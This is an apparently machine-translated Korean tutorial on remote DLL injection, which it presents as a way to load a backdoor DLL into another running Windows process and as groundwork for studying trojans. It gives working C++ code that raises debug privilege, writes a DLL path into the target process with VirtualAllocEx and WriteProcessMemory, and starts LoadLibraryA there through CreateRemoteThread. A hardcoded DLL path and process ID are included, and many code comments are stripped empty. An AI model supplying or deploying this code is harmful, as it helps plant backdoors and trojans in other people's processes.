DLL 원격 주입 인스턴스

14387 단어 dll

 


 
일반적인 상황에서 모든 프로세스는 자신의 개인 공간을 가지고 있다. 이론적으로 다른 프로세스는 이 개인 공간을 조작하는 것을 허락하지 않는다. 그러나 우리는 일부 방법을 이용하여 이 공간에 들어가 조작을 하고 자신의 코드를 실행 중인 프로세스에 기록할 수 있기 때문에 원격 주입이 생겼다.dll 뒷문 작성에 대해서는 많은 토론을 하지 않겠습니다. 이제 주입 기능을 실현하는 실행 가능한 파일의 작성을 살펴보겠습니다. 사용하는 함수는 다음과 같습니다.

  
    
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();

 
 
먼저 다음과 같은 함수의 작용을 간단히 소개한다. 우리가 조작해야 하는 것은 시스템의 다른 프로세스이기 때문이다. 만약에 충분한 시스템 권한이 없다면 우리는 다른 프로세스의 메모리 주소를 쓸 수도 없고 읽을 수도 없기 때문에 우리는 자신의 권한을 향상시켜 아래 3개의 함수를 사용해야 한다.

  
    
OpenProcessToken(); //
LookupPrivilegeValue(); // ID,
AdjustTokenPrivileges(); //

 
 
 
 
숙주 프로세스에 들어가는 메모리 공간은 숙주 프로세스 공간에 들어갈 수 있는 권한을 가진 후에 우리는 그 메모리에 우리의 뒷문을 불러올 코드를 추가해야 한다. LoadLibraryA() 함수로 우리의 DLL을 불러올 수 있다. DLL 파일의 경로만 있으면 된다. 여기서 우리는 DLL 파일의 경로를 숙주의 메모리 공간에 기록해야 한다.DLL의 파일 경로가 호스트 프로세스 메모리 공간에 존재하지 않기 때문에 다음과 같은 함수가 사용됩니다.

  
    
OpenProcess(); // , MSDN
VirtualAllocEx(); // DLL
WriteProcessMemory(); // DLL

 
 
 
숙주에서 새로운 루트를 시작하는 데는 LoadLibraryA () 함수로 불러오지만, LoadLibraryA () 함수를 사용하기 전에 입구 주소를 알아야 하기 때문에 GetProcAdress로 입구 주소를 얻고, 주소가 생기면 Create Remote Thread () 함수로 새로운 루트를 시작할 수 있습니다. 다음 주입 과정이 완성되었지만, 아직 완벽하지 않아서 똑똑한 당신에게 남겨집니다. 
간단한 예:
 

  
    
#include < windows.h >
#include
< iostream.h >

int EnableDebugPriv( const char * name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
//
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, & hToken);
// ID
LookupPrivilegeValue(NULL, name, & luid) ;

tp.PrivilegeCount
= 1 ;
tp.Privileges[
0 ].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[
0 ].Luid = luid;
//
AdjustTokenPrivileges(hToken, 0 , & tp, sizeof (TOKEN_PRIVILEGES), NULL, NULL);
return 0 ;
}

// *****************************************************************************************************************************

BOOL InjectDll(
const char * DllFullPath, const DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
EnableDebugPriv(SE_DEBUG_NAME);
//
hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

char * pszLibFileRemote;

// VirtualAllocEx DLL
pszLibFileRemote = ( char * ) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath) + 1 , MEM_COMMIT, PAGE_READWRITE);


// WriteProcessMemory DLL
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, ( void * ) DllFullPath, lstrlen(DllFullPath) + 1 , NULL);

// ##############################################################################
// LoadLibraryA
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT(
" Kernel32 " )), " LoadLibraryA " );
// ( GetModuleHandle GetProcAddress )

// LoadLibraryA,
HANDLE hRemoteThread;
if ( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0 , pfnStartAddr, pszLibFileRemote, 0 , NULL) ) == NULL)
{
cout
<< " ! " << endl;
return FALSE;
}
// ##############################################################################

/*
// //###.....//### :
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
//
*/

//

CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);

return TRUE;
}

// *****************************************************************************************************************************

int main()
{
InjectDll(
" c:\\zrqfzr.dll " , 3060 ) ; // ID
return 0 ;
}

 
 
EnableDebugPriv 함수는 NT 시리즈 운영 체제에서 구현된 부분을 제거할 수 있습니다.목마라는 기술을 연구하려면 기본이야.

좋은 웹페이지 즐겨찾기